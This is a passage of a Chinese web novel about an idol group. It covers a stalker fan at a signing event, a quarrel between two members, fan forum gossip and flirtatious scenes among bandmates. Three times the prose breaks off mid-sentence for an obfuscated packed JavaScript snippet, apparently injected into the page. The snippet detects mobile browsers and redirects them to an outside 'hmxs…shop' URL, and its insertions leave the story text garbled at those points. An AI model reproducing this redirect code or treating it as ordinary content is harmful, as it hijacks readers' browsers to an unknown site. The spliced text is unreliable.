他眼睛透过缝隙转向许京殊,带着点说不清的诡异:“许京殊,你说呢?大家可都等着看呢,你怎么可以浪费了粉丝的心意呢。” 许京殊说不出话来,他的精致的脸被吓得微微发白,原本清澈明亮的杏眼泛着雾气,殷红的唇瓣因为惊吓微微开启。 他抬眼撞上对方的视线,那里面的偏执与占有欲让他心头一悚,立刻垂眸。诡异的眼神让他心里发毛,他口口声声说着喜欢但他眼里透露出来的不像喜欢,更像是在试探和占有。 “怎么不说话,你不是最会回馈粉丝的爱意了吗?为什么不和我说话!为什么不答应我的求婚!难道只有站在你面前你的眼里才会有我吗?”男粉丝声音拔高,带着嘶哑和蛊惑。 “我……”许京殊刚挤出一个字。 一个身影比他的话语更快,直接一步跨过来,严严实实挡在了他前面。 是周塑宁。 他背对着许京殊,面朝着那男粉丝,没什么表情,但就是把人隔开了。他没说话,就这么面无表情的看着对方。 男粉丝被他凌厉的目光盯得有些火气,开始口不择言:“周塑宁你干嘛?你难道真暗恋他啊?你知道你俩cp粉都在网上怎么说的吗,她们说你只会跟在陈醒松后面捡骨头吃的一条狗,赤石都赶不上热乎的。你在许京殊这儿连备胎都算不上,不过都说会咬人的狗不叫,我看未必。” 这些肮脏的字眼劈头盖脸砸过来,许京殊脑子嗡嗡响,又气又急,脸更白了,他猛地抬头想反驳:“你胡说什么!” 他努力思索这些词的意思,什么叫做暗恋,什么叫做他的一条狗。 男粉丝脸上扭曲的兴奋和恶意并未消退。他退了一步,目光越过三人的身影,死死锁在许京殊错愕的脸上:“我说错了吗?许京殊,你看看你周围这些人,他们哪个看你的眼神清白了?装什么兄弟情深!我才是最纯粹最爱你的人!你为什么不敢看我?为什么不敢答应我?” 周塑宁却像是没听见那些话,他甚至没看那个粉丝,而是侧过脸,对身后有些发抖的许京殊快速说了句:“低头,别看他。” 然后他才转回去,依旧面对着那粉丝,声音不高,但清晰:“说完了?” 男粉丝被他这平淡的反应噎了一下。 “说完就滚。”周塑宁的话简单直接,没有一点修饰。 “你特么的!”男粉丝涨红了脸,气急败坏。 “这些事情都和你无关,你没有资格置喙。”周塑宁眸光冷冽,语速不快字字清晰,“你就是阴沟里的一条老鼠,只配在暗处窥视。他不想戴的东西,以后也不会戴。” “你又知道了?你配替他做决定吗?你……” “不用问。”周塑宁直接打断,抬手直接攥住对方还想往前伸的手腕,稳稳制住,“时间到了,你该下去了,慢走。” 林霄衡已经彻底冷了脸,不再维持客气,直接对着耳麦道:“保安,请这位先生立刻离场!现在!” 他话音落下,几个早就待命的保安迅速上台,干净利落地架住了还想嚷嚷的男粉丝。 “许京殊!你别走!你看看我!我才是最爱你的!”男粉丝被拖走时还在嘶喊,声音渐渐远去。 台下的粉丝注意力全在这边,由于几人特意放低了声音,她们都以为是普通的私生闹事。 许京殊还僵在原地,心脏怦怦直跳,手指冰凉。 他看向周塑宁,周塑宁已经转回身,正低头扯了扯刚才因为动作有点皱的袖子,脸上还是那副没什么表情的样子。 “没事吧?”陈醒松松了口气,但脸色依旧不好看,他狠狠瞪了一眼男粉丝被带走的方向。 转头看向许京殊,语气是罕见的认真和担忧,他用力拍了拍许京殊的背,“妈的,什么玩意儿!吓着没?” 许京殊摇摇头,又点点头,强迫自己从刚才的冲击中缓过来,声音有点哑:“没,我没事。” 他看着周塑宁转回去的背影,对方看到陈醒松在他身边,低头径直走回自己座位,扶起椅子坐下,拿起笔,好像刚才什么事都没发生。 许京殊摇摇头,嗓子还是紧,说不出话。他忍不住又瞟了一眼周塑宁。 林霄衡拿起麦克风,面向观众,脸上的表情已经调整回沉稳的队长模式,只是眼神深处还残留着冷意:“各位粉丝,很抱歉发生了这样的意外插曲。我们Lumos一直珍视并感谢每一位真心支持我们的粉丝,但也坚决反对任何形式的骚扰、侮辱和不当行为。签售会旨在创造美好的回忆,希望大家不要被个别极端行为影响。我们会加强安保,确保后续环节顺利进行。也请大家继续遵守秩序,谢谢配合。” 台下瞬间炸开锅,什么声音都有。 签售会也到此为止,那个粉丝本身就是最后一个了。 好不容易熬到结束,幕布一拉,后台的嘈杂瞬间隔开,世界安静了。 五人都坐在原来位置的椅子上。 苏凌羽注意到气氛低迷,率先出来活跃气氛,他刚刚上厕所去了,刚好错过争执。 “手要废了。”苏凌羽甩着手腕抱怨。 “嗓子也要废了。”林霄衡喝了口水润了润嗓子。 陈醒松整个人散发着萎靡的气息:“我以后再也不想听到某些称呼了,感觉已经有了心理阴影。” 许京殊没说话,只是低头看着手腕。周塑宁走过来,高大的身影将他整个人遮盖住:“还好吗?” 许京殊摇了摇头:“还活着。” 梁姐踩着高跟鞋快步进来,脸色不太好看:“刚才那人怎么回事?安保怎么看的?这种容易起争议的东西怎么能放上来?” 苏凌羽才通过陈醒松知道刚刚发生了什么:“不过这人太可怕了,超绝变脸根本预防不了。” 梁姐冲现场负责人说了几句,然后转向他们几个,目光在许京殊和周塑宁脸上停了停,“京殊没事吧?塑宁你反应快是快,但下次让工作人员处理就行,这么多粉丝在场,你说话可以委婉点。” 周塑宁正低头盯着状态不对的许京殊,就“嗯”了一声。 许京殊清了清嗓子,终于说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987534|193093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出话:“我还可以,梁姐,这种粉丝太极端了,还是第一次遇到。” 陈醒松看他还沉浸在刚刚的事端里,他走过来搂着他的肩膀,一如既往熟悉的声音,开始嚷嚷:“饿死了!晚上吃啥?我们要吃顿好的压压惊!” 林霄衡笑了笑,拍拍许京殊的背:“先去换衣服卸妆,车上再说。” 许京殊点点头,走进更衣间。关上门,他靠着门板松了口气,这才觉得累。 许京殊刚换回自己的黑色T恤,柔软的棉质布料贴着皮肤,让他终于找回一点安定的感觉。 走出去时,只有周塑宁在,他已经卸完妆洗了脸,额发有点湿,坐在角落沙发上低头看手机。听到脚步声,他抬了下头。 许京殊点点头示意,走到他旁边的空位坐下。两人之间隔着一人的距离,但在这个安静的角落里,许京殊能闻到周塑宁身上淡淡的皂角味,混着一点未散的汗水气息。 安静了几秒,他才开口:“刚才谢谢你。” 周塑宁侧过脸看他。卸了妆的许京殊脸上带着清纯,眼下有淡淡的青影,眼睛依然清澈,此刻正望着他。 周塑宁把手机按熄,放到一边:“这是我应该做的,阿姨刚用好吃的饭菜贿赂我,让我注意点你,这不刚收了好处就有事干了。” “他说的那些话你别往心里去。都是胡说八道,我从来没有那么想过。”许京殊注意到他的目光下意识摸了摸自己的脸。 周塑宁手指无意识地蜷了一下,又松开:“我没在意。” “我……”许京殊还想说什么,陈醒松的大嗓门已经插了进来。 “收拾好没?车到了!”陈醒松探进头,脸上重新挂上那副没心没肺的笑容,但许京殊注意到,他看向自己时,眼神里带着明显的担忧,“走走走,饿死了,哥带你们吃好的,压压惊!” 周塑宁站起身,手机揣兜里,看了眼许京殊:“走了。” “哦。”许京殊也跟着站起来。 往外走的时候,傍晚的风吹过来,热乎乎的,但比室内舒服。 一只手从旁边伸过来,递给他一颗薄荷糖。许京殊抬头,周塑宁正看着他,眼神平静:“含着,会舒服点。” “谢谢。”许京殊接过,清凉的甜味在舌尖化开,确实驱散了一些胸口的滞闷。 陈醒松从回过头:“塑宁,我也要!” 周塑宁扔过去一颗,没说话。 陈醒松笑嘻嘻地剥开糖纸,塞进嘴里,又转向许京殊:“别想了,那种疯子哪儿都有,就当被狗吠了几声。晚上想吃什么?火锅?烧烤?还是日料?” 许京殊没什么胃口:“都行。” “那就火锅吧,热闹。”陈醒松拍板,“我知道一家私密性好的,梁姐打过招呼了。” 车停在前面,林霄衡已经拉开车门等着了,陈醒松快步走过去上了车从车窗探出半个身子催他们。 许京殊拉开车门,让周塑宁先上,自己再钻进去。车门一关,把那些没完没了的喧闹都关在了外面。 车子发动,开进附近的主街道街道。 许京殊靠着车窗,看着外面流动的景色,忽然觉得没那么累了。 绷了一天的劲儿,慢慢松了下来。 “快看!有粉丝把今天所有造型剪成合辑了,配文换装小游戏!” 许京殊看着画面里自己被各种装饰,从尴尬到麻木再到放弃挣扎主动配合,配上欢快的音乐和特效,竟显出几分滑稽的可爱。 “噗。”他忍不住笑出声,被转移了注意力。 “笑了笑了!”陈醒松恨不得跳起来广而告之,“许京殊终于认命了吗!” “滚啊!” 15.友情的醋会更酸吗? 一顿饭过后,大家似乎都忘了这件事。 许京殊不开心了就窝在小床上,松散的瘫着,肢体舒展。 此时门外响起敲门声。 “进。” 许京殊懒得起来。 门开了,周塑宁站在门口。他换上了家居服,手里拿着小瓶子。 抬眼望去,许京殊上半身深陷在被褥里,他只能看到毛茸茸的发顶,被子只盖到了腰间,因为乱动裤腿卷到了小腿肚,光裸的脚踝在深色床单的映衬下,更显白皙。 他慢慢走进,才发现许京殊侧身蜷缩着,被子拉到下巴,眼皮泛着淡淡的粉红,睫毛在眼下打出阴影,目光虚虚落在不远处,没有焦点。 见到他走进,他微微回神,一动不动但热情回应:“hello,周塑宁。” 周塑宁将手里的东西递给许京殊,他不动声色,没有放在一旁,特意没有伸直手臂。 许京殊看到是一个白色的小瓶子,好奇是什么东西,他掀起被子,坐起身,微微仰头去接过来。 周塑宁居高临下,虽然他比许京殊高半个头,但他从未这个角度看过他。 他算是知道,许京殊为什么这么多泥塑粉了。 许京殊面对队友们从来都是一副毫无防备的柔和,这个高度给了周塑宁一种奇异的特权,他的目光牢牢锁在他的脸上。 许京殊仰头的动作将他的脸完整的展露出来,杏眼完全的睁开,瞳孔清晰的印出了他的倒影,睫毛完全舒展开来,根根分明的翘着,嘴巴微微分开,唇色是天然的绯红。 周塑宁贪婪的看着。 许京殊接过,是一小瓶舒缓肌肉的药膏,带着淡淡的药草香。 “这个,涂手腕的。” 许京殊低头看着自己的手腕,确实,有些地方有淡淡的红痕,不仅仅是手腕,还有别的地方。他自己都没注意到。 他忽然会想起粉丝说过的话,他的皮肤很娇嫩,带点稍微重一点的项链都会在胸口留下红痕。 “谢谢四哥。”许京殊拧开盖子,挖了一点药膏涂在手腕上,一股清凉的触感缓解了细微的刺痛。 呜呜呜队友太好了怎么办,好幸福,该死的私生还要过来挑拨离间。 许京殊暗暗唾骂那个人。 “来,抱一下表示我的感谢。”许京殊将药瓶放到旁边的柜子上,伸手给了周塑宁一个大大的拥抱。 周塑宁反应不及,被抱了个满怀,他全身僵硬,感受着怀里的温度,刚想将手搭在他的背上,这个短暂的拥抱就已经结束了。 他不知道自己是怎么出的许京殊的房间门,当门关上的那一刻,他脑子里还在懊悔,为什么刚刚没有抱回去。 周塑宁背靠着房门站了好一会儿,才慢慢直起身。他深呼一口气,正要转身回房。 他抬头,看到陈醒松整个人站在黑暗里,静静的看着他,他背靠着墙,双手插在裤兜里,平时的吊儿郎当已经尽数消失,脸上的表情晦暗不明,看到他出来也没有打招呼。 他看到了?那又如何。 周塑宁没说话,只是站在那里,用同样的目光回视陈醒松。 黑暗里,两个高大的身影就这样无声对峙,直到屋子里发出其他动静。 苏凌羽的房门突然打开。 “你们干什么呢?在这堵着。”苏凌羽揉着眼睛走出来,被门口两个人影吓了一跳。 他看看周塑宁,又看看陈醒松,满脸困惑:“你们两个在这儿当门神呢?” 陈醒松先以开眼,耸耸肩,恢复了平时那副漫不经心的样子:“我上厕所刚回来。” 他口袋里握着药膏的手收紧了一下然后放松,将双手抽出口袋,转身回房。 周塑宁也收回目光,对苏凌羽点了点头:“这就回。” 两人一前一后各自回房,走廊空旷,苏凌羽站在原地挠了挠头,总觉得哪里不对劲,但又说不上来,满头雾水的走向洗手间。 许京殊很烦,他发现自己的好朋友陈醒松这两天怪怪的。 虽然还是事事在一起,但就是不一样了。 比如说。 昨天吃早饭的时候陈醒松突然说:“对了京殊,我们俩昨天那个猫狗合照你看不看,我要把它设置为我们两个的聊天背景,粉丝拍的特别有氛围感。” “看看嘛,真的可爱。”陈醒松说着就要拿手机。 “不要。”许京殊立刻摇头拒绝。 陈醒松动作顿住,看了他一眼,然后耸耸肩:“行吧,不看就不看。” 这本来是很正常的对话。可许京殊就是觉得哪里不对。 陈醒松平时绝不会这么容易放弃,他会死缠烂打,会直接把手机怼到他面前,会笑嘻嘻地说“不看也得看”。 可现在,他居然就这么算了? 许京殊抬眼看向陈醒松,陈醒松正低头喝粥,没什么表情,注意到他的视线,陈醒松抬起头,对他笑了一下,似乎又没什么异常。 练习的时候更明显。之前陈醒松总爱跟他打情骂俏,要么击掌时故意用力,要么错身时撞他肩膀,要么做完动作后还要搂着他脖子晃两下。许京殊虽然每次都骂他,但其实早就习惯了这种打打闹闹的互动。 可这次,陈醒松做得规规矩矩。 连编舞老师都忍不住夸他:“陈醒松今天状态不错啊,今天怎么回事做的那么标准。” 在许京殊因为踩空踉跄了一下后,陈醒松下意识往他这边走了一步,可惜周塑宁反应更快,环抱着许京殊,支撑了他一下。 陈醒松眼里透着不爽,看了两秒之后转身。 “没事吧?”周塑宁关心的询问。 许京殊没什么心思,随便说了句:“没事没事。” 眼神放在陈醒松的背影上,有些失落。 居然不关心他。 虽然他们团队成员之间关系都不错,但也是有远近亲疏的。 他的好朋友他还不知道吗! 就是有问题。 休息时,许京殊走到陈醒松旁边坐下:“你今天怎么了?” 陈醒松低头闭眼,头也不抬:“什么怎么了?” 许京殊想了想:“你好像不太对劲,是不舒服吗?” 陈醒松抬起头,带着标准的笑容:“没有啊,我很好。就是昨天有点累,今天想认真点练。” 说完,陈醒松站起来走到一边拿水喝,背对着他。 他说得很轻松,可许京殊就是觉得假。 “你俩吵架了?”苏凌羽凑过来小声问。 许京殊摇头:“没有啊。” “那他怎么……”苏凌羽看了眼陈醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998214|193093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松的背影,“怪怪的。” 许京殊没说话。他拧开水瓶喝了口水,但压不住他的烦躁。 他知道陈醒松在闹别扭,可他不知道原因。 他们从来没有这样过,他刚入团的时候,是陈醒松注意到刚来到陌生环境社恐的他,教他如何与人相处,教他怎么克服恐惧。在他被全网黑的时候整日整夜的陪着他怕他精神崩溃,那段时间他不敢跟父母倾述,全靠陈醒松的陪伴。 虽然两人平日里的相处在外人看来他都是主导的那一方,事实上是他离不开陈醒松。在他心里,陈醒松绝对是他最好的朋友。 这种别扭已经持续两天了,许京殊决定和他聊聊天。 他看着坐在沙发上打游戏的陈醒松,屏幕上特效的光快速的闪烁,打在他脸上。 许京殊走过去,在他旁边坐下。 陈醒松没有看他,手指在快速操作。 不过他的注意力在许京殊过来那一刻就已经不在游戏上了。 许京殊看了他一会儿,然后伸手,将他手上的手机拿过来,锁屏,丢在一边。 没有任何阻力,很轻松的就从一个战况激烈的打游戏的人手中将手机拿走。 陈醒松动作顿住,终于可以转头看他。 两人对视。 “陈醒松。”许京殊开口,冷静道,“我们谈谈。” “谈什么?” “谈你为什么躲我,为什么那么奇怪。” 陈醒松扯了扯嘴角:“我哪有躲你。” 许京殊盯着他:“你有,陈醒松,别把我当傻子。” “许京殊。”陈醒松看他,眼里有许京殊看不懂的情绪。 他叫的很正式,许京殊愣了一下。 “我的意思是,也许我们应该长大了,我不能再像小孩子一样打打闹闹了,我也不是你的谁,没资格老是粘着你。我知道以前你都是在忍耐我的脾气,我不想老是因为我让你被骂了。” 他的话字字句句都是为他好的意思,但是许京殊感觉眼眶发热,莫名其妙的。 “你到底在说什么?谁说你不可以了,干嘛因为别的事情影响我们的关系。我们打打闹闹怎么了,什么叫没资格?陈醒松你是不是因为我老是拒绝你生气了,那我以后不这样了,我……”许京殊声音有些发抖,他以为是昨天拒绝陈醒松他生气了。 “许京殊你找我还有其他的事情吗?没有的话我去洗澡了,你也早点休息。”陈醒松起身拿过刚刚被丢到一边的手机,头也不回的回了房间。 许京殊主动发起的谈话被强制中断,解决了0个问题。 他一个人坐在沙发上,很久没动。 队内成员吵架,其他人在不明原因之前也不敢说什么,气氛有些低迷。 苏凌羽在听不到客厅的声音之后探头出来观察战况,背地里跟队长发信息求助。 周塑宁非常清楚两人之间的信息差,但是如果跟许京殊讲明白的话对他没有任何好处,他默不作声,心里暗暗期盼,虽然很不道德,但是那又怎么样。 他木着脸,安静的坐在门口的地板上,一条腿屈起,手肘随意的搭在膝头,另一条腿舒展。 直到他听到外面传来苏凌羽的安慰声和许京殊因为有人安慰控制不住的轻轻的啜泣声。 他哭了? 16.再理他我是狗 许京殊被拒绝沟通的陈醒松气的胸口发闷,他眼睁睁的看着陈醒松走进房间,门轻轻关上。 他坐在沙发上,身体僵着,心里翻滚着酸涩愤怒的情绪。 许京殊猛地站起来,想要追过去理论,想问清楚他到底在发什么疯,可是脚刚迈出去,腿就软了。 他重新跌坐回沙发,手指开始不受控制的发麻。他低头看着自己的手,微微颤抖。 原来人在极度的委屈和愤怒里,身体真的会不受控制。 他深吸一口气,想放松一下,可是胸口越来越闷,眼前开始模糊。等反应过来的时候,温热的液体已经顺着脸颊滑落。 许京殊抬手去擦,指尖碰到湿润。 他哭了。 有什么好哭的,不理你就不理你,谁少了谁不能活。 可眼泪不听使唤,越擦越多,到最后他直接放弃了,任由眼泪滴落,肩膀开始不受控制地发抖。 “京殊?”苏凌羽的声音从旁边传来,小心翼翼的。 许京殊没抬头,他不想被别人看到自己这副狼狈的模样。 “怎么了这是?”苏凌羽走过来,在沙发旁蹲下。他仰头看向许京殊,目光触及那张被泪水浸湿的脸时,呼吸微微一滞。 那张平日里好看的脸此刻湿漉漉的,睫毛被泪水粘成一簇一簇,眼睛红得厉害,眼尾晕开一片绯色,可怜兮兮的。 许京殊觉得自己很丢脸,快二十岁的人了,因为队友不理他就哭成这样,可是一有人安慰自己,情绪就更拦不住了。 “好了,没事了没事了,三哥在呢。”苏凌羽单膝跪在沙发前,伸手环抱着他,轻轻拍着他的背。 许京殊把脸埋进苏凌羽肩头。 不远处,周塑宁的房门悄悄打开一条缝。他站在阴影里,静静望着客厅里的两人,眼里闪过一丝自责。 他控制住想要上前的脚步,在心里告诫自己:这是迟早的事,就算没有他,两个人也会走到这一步。 陈醒松对许京殊那种不正常的占有欲和归属感,他都能看出来。那些只会对他才有注视,那些只有许京殊在场时才有的笑。 窗外夜色渐浓,城市渐渐昏睡过去,但这个小小的客厅里,有人留下了眼泪。 生活好像恢复了原状。 不过小松殊们最近发现了一件大事:爸爸妈妈好像离婚了! 即使在日常生活中能看出点什么,但是粉丝发现“松殊离婚”的契机,是团队新歌预热的直播。 团里一共就五个人,如果按照以前的情况,陈醒松和许京殊绝对会坐在一起。 但这次不一样。 直播画面一出来,粉丝就察觉到了异常。两人进场的时候没手拉手一起上来就算了。结果上来了居然隔着十万八千里,一个在沙发这头,一个在沙发那头。 一副老死不相往来的样子。 许京殊坐在沙发最左边,背挺直,双手规矩地放在膝盖上。他本身就是比较安静的类型,所以基本上都是队长和苏凌羽在cue流程,他偶尔接两句话,声音轻轻的,脸上带着微笑。 而陈醒松坐在最右边,一改往常的活泼话多,抿着嘴。他微微低着头,碎发垂下来遮住部分眉眼,整个人笼罩在一种低气压里,像只做错事被主人冷落的小狗,耷拉着脑袋,耳朵都仿佛垂了下来。 苏凌羽坐在最中间,注意着两边的状态,一会儿看看这个,一会儿瞅瞅那个,眼睛忙得转来转去。 他几次试图活跃气氛,但是都不起作用。 终于,在许京殊说话的时候,陈醒松开始忍不住看向他,偷偷看了很久,直到许京殊好像感受到什么微微侧头,他才立马扭头看向前方,装作一副浑然不知的样子。 许京殊看着他那张冷漠的侧脸,看了好一会儿,见陈醒松没有丝毫扭头看他的迹象,甚至刻意将身体转向另一侧。 他眼眶微微发酸,垂下眼,睫毛在眼下投出阴影。他赌气般的撇过头,心里暗暗发誓他再也不要理陈醒松了,再理他我是狗! 周塑宁坐在许京殊旁边,将这一切尽收眼底。他注意到许京殊泛红的眼尾和在膝盖上抓紧的手指,侧过头,故意轻声问:“怎么了,不舒服吗?” 许京殊摇摇头,没说话。 周塑宁见状,顺势将肩膀靠得更近,两人自然地靠得紧凑了些。 在团里,成员间的肢体接触本是常事,所以许京殊只犹豫了一秒,然后借着这个姿势,将身体的部分重量靠在他身上。 那是一个很依赖的姿态。 周塑宁垂下眼,目光下移,落在许京殊放在膝盖上的手上,手指蜷缩着,裤子被抓起一些褶皱。他停顿了几秒,然后伸出手,轻轻覆上那只手。 掌心温暖,包裹住冰凉的手指,然后轻轻拉到两人中间,试图传递一点温度。 沙发另外一端,陈醒松时刻注意的余光瞥见这一幕,整个身体骤然紧绷。他猛地攥紧拳头,指甲深深陷进掌心。 这段直播画面被cp粉们剪成各种视频,两人全程零交流但暗流涌动。话题在粉丝圈里悄然发酵。 一个名为“显微镜磕糖少女”的cp粉在微博发帖,标题是:【理性分析松殊近期反常:是避嫌?还是冷战?】 帖子很快被顶成热门: 先上结论:不是避嫌,是确确实实的矛盾。理由如下: 1.肢体语言不会说谎:对比两个星期前的签售和这次的直播。以前陈醒松的身体会无意识地向许京殊倾斜至少15度,膝盖方向也朝他。这次呢?两人没有任何互动,离的特别远。 2.眼神追踪:我数了,这场直播陈醒松偷偷看许京殊21次,平均每一分钟两次。但每次都在许京殊有所感应前移开视线。这叫什么?想看又不敢看,如果是单纯的避嫌或工作安排,眼神不会这么挣扎。而许京殊在此之间偷偷看了陈醒松5次,由此可以推断出他俩吵架,陈醒松绝对是主责。 3.队友的反应:苏凌羽全程试图调节气氛未果,眼神在两人之间来回飘,透着无奈。队长林霄衡cue流程时明显跳过了需要两人互动的环节。周塑宁的反应最值得品鉴。他注意到了许京殊的情绪,并立刻给出了肢体安慰。但是陈醒松看到他俩的动作后的反应明显是吃醋了。 4.时间线推测:矛盾大概发生在一周前。有人在晚上偶遇陈醒松一个人离开公司。几乎同一时间,许京殊在练习室更新动态, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006736|193093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标题是训练日常,附上了两张照片,其中有张照片,镜子里的身影衣着细节与周塑宁高度吻合。 【CP粉心碎。但我莫名有点带感是怎么回事……这种破碎感,这种互相折磨又忍不住关注对方的拉扯……】 【楼主分析得好细!我补充一点:最近几次线下偶遇,都是周塑宁和许京殊两个人一起,陈醒松和苏凌羽一起。】 【所以是吵架了?因为什么能吵到这种程度?工作?私事?还是……感情问题?】 【爸爸妈妈已经好多天没有互动了,心碎。】 【啊啊啊补药哇!到底怎么回事!】 【冷战了?吵架了?陈醒松是不是惹许京殊生气了,赶紧哄啊。】 【上次签售会不是还好好的吗?】 【这就是是吵架了,你们看苏凌羽的眼神,还有队友之间的反应,百分百两人发生矛盾了。】 【他俩之间吵架的别扭感好明显,陈醒松一直偷偷瞄许京殊,人家一回头他立马移开目光。许京殊也是,看到陈醒松不看他,更生气了。就这个be感爽!】 【还是你们会磕啊!没遇到你们之前我简直是在乱磕。】 公寓里,许京殊正盘腿坐在沙发上啃苹果。 电视屏幕亮着,在放狗血淋头的家庭伦理剧。他面无表情地看着,看两眼啃一口苹果。 咔嚓,咔嚓。 声音在安静的客厅里格外清脆。 陈醒松从房间出来时,看见的就是这一幕。 许京殊窝在沙发一角,穿着宽大的浅灰色短袖,头发有些凌乱地翘着,专注地盯着电视屏幕,只有脸颊随着咀嚼轻微鼓动。 “早。”陈醒松说。 “早上好。”许京殊眼皮都没抬,视线凝在电视屏幕上。 对话到此结束。 陈醒松沉默的坐到沙发另一边,抱着手臂,面色疏离冷淡。 许京殊继续啃苹果。 苏凌羽从房间出来的时候敏锐地察觉到了两人之间的冷硬。 他看看右边浑身写满“别惹我”的陈醒松,又看看左边无动于衷的许京殊,最后硬着头皮选择在两人中间的位置坐下:“今天有什么安排?” “练舞。”许京殊说。 “健身。”陈醒松说。 两人同时开口,又同时闭嘴,又是一片令人窒息的沉默。 苏凌羽摸了摸鼻子,干笑一声:“那挺好的,忙点好啊,各忙各的。” 咔嚓。 许京殊咬下了最后一口苹果,声音响亮。他随手将果核扔进垃圾桶,抽了张纸巾慢条斯理地擦手,然后起身:“我约了周塑宁一起出去吃早饭,我去叫一下他。” 自始至终,没有再看陈醒松一眼。 陈醒松听到许京殊说和周塑宁有约,抱着的手臂猛然收紧。 他看着许京殊离开客厅,敲门进了周塑宁的房间,面若冰霜,过了一会儿他猛然起身,由于动作太大,带倒了沙发上一个无辜的抱枕,然后换好鞋子摔门而出。 只留一脸生无可恋的苏凌羽,他看着闹别扭的俩人仰天长啸:“这两个人什么时候能和好啊!能不能不要再折磨他这个二旬老人了!” 17.拧巴 许京殊站在周塑宁房间门口,屈起手指在门板上敲了两下:“塑宁哥,是我,可以进去吗。” “进吧。”里面很快传来周塑宁冷冽的声音。 许京殊随即转动门把手,推开了门。 房间里窗帘拉开了一半,清晨的光线透过玻璃斜斜地照进来,在地板上投出一块块光斑。 周塑宁正背对着门口站在衣柜前,上半身没穿衣服。他显然刚拿出要换的上衣,正捏在手里,听到开门声,动作顿了一下,然后才转过身来。 虽然是朝夕相处的队友,不过许京殊还是很少见到周塑宁裸着上身的样子。 光线从侧面落在他身上,肩膀,手臂和腹部肌肉轮廓分明,尤其腹肌,线条分明,清晰可见,既不夸张也不过分单薄。 许京殊随手把门关好,然后靠在门上,双手自然垂落,看到这一幕,他完全没有要走开或者移开视线的意思,他的目光坦荡而直接,纯粹是看到好身材时会有的那种打量和欣赏。 视线从周塑宁的肩膀扫到腰腹,然后很真诚地赞叹了一句:“帅!” 上半身肌肉发达但不过度夸张,腰腹收紧形成自然的倒三角形轮廓,是他心目中理想的体型。 想到这里许京殊就一阵心酸,他都有些心疼自己了。 注意到许京殊的目光和惊叹,周塑宁不自觉的绷紧腹部。 “稍等,我马上好。”周塑宁语气保持平和,眼神晦暗不明。 他就在许京殊面前将衣服套过头顶,侧身慢慢把衣服套上,衣服穿好,他转过身。 许京殊向前走了两步:“塑宁哥,你这腹肌练得可以啊。” 周塑宁非常乐意听到许京殊的夸奖,嘴角向上弯了一下:“最近加了核心训练,你不是也在练吗?坚持下来应该也会有效果。” “我三天打鱼两天晒网的。”许京殊有点不好意思地笑了笑。 他突然靠近,神秘又小心的说了句:“你练的真好,我能摸摸看吗?我想感受一下练得硬不硬。” 许京殊说这话时表情再自然不过,眼睛亮晶晶的,纯粹是好奇和羡慕,就像男生在健身房看到别人练得好,想上手戳一戳试试手感一样。 但周塑宁完全不这么觉得,他只知道自己呼吸一滞,浑身僵硬,脸也开始发烫。 摸腹肌? 他站在原地没动,腹部的肌肉悄无声息地绷得更紧了些,不过表面上,他只是随意地点点头:“摸呗,又摸不坏。” 许京殊得到了许可,立刻兴致勃勃地凑得更近了些。 周塑宁配合的将刚穿好的短袖拎着衣角往上拉,露出腹部。 许京殊缓缓伸出右手,手掌摊开,先是悬停在周塑宁腹肌上方比划了一下,似乎在挑选最合适的着陆地点,然后才将掌心轻轻贴了上去,按在腹部靠上方的位置。 在许京殊手掌贴上来的一瞬间,周塑宁全身的血液仿佛都涌向了被触碰的那一小片皮肤,耳边甚至能听到自己陡然加重的心跳声。 许京殊的掌心感受到的是紧绷而富有弹性的结实肌肉,皮肤温热。 “哇塞啊,真的挺硬的。”他小声嘀咕。 然后他的手掌稍稍用力向下按了按,又忽的左右移动了一下,感受到了不同肌肉块的硬度与轮廓,他甚至用指尖戳了戳肌肉间的沟壑。 许京殊完全沉浸在欣赏里,心里想的是:“这得练多久?我要是也能练成这样上台肯定更好看,粉丝也不敢喊我老婆了!可惜我努力了这么久一点用都没有。” 许京殊微凉的手掌带来的触感被无限放大,像是一小丝电流,从周塑宁的腹部窜开,让他的脊椎微微发麻。 周塑宁几乎是用尽了全部的自制力,才维持住站立的姿态没有后退或颤抖。 许京殊手掌的移动按压和轻戳,对他而言都成了缓慢而清晰的折磨,无比刺激。他屏住呼吸,腹部肌肉在对方无意识的抚摸下不敢放松。 当许京殊的手指再次好奇地顺着腹肌中间的沟壑向下,微微划到下方的小腹时,周塑宁的呼吸骤然一乱。 几乎是下意识的动作,他猛地抬手,一把抓住了许京殊那只在他小腹上作乱的手。 他的手掌很大,轻易地圈住了许京殊的腕骨,握得有些紧,甚至能感受到对方脉搏在掌下跳动。 许京殊吓了一跳,诧异地抬眼看向周塑宁:“塑宁哥?” 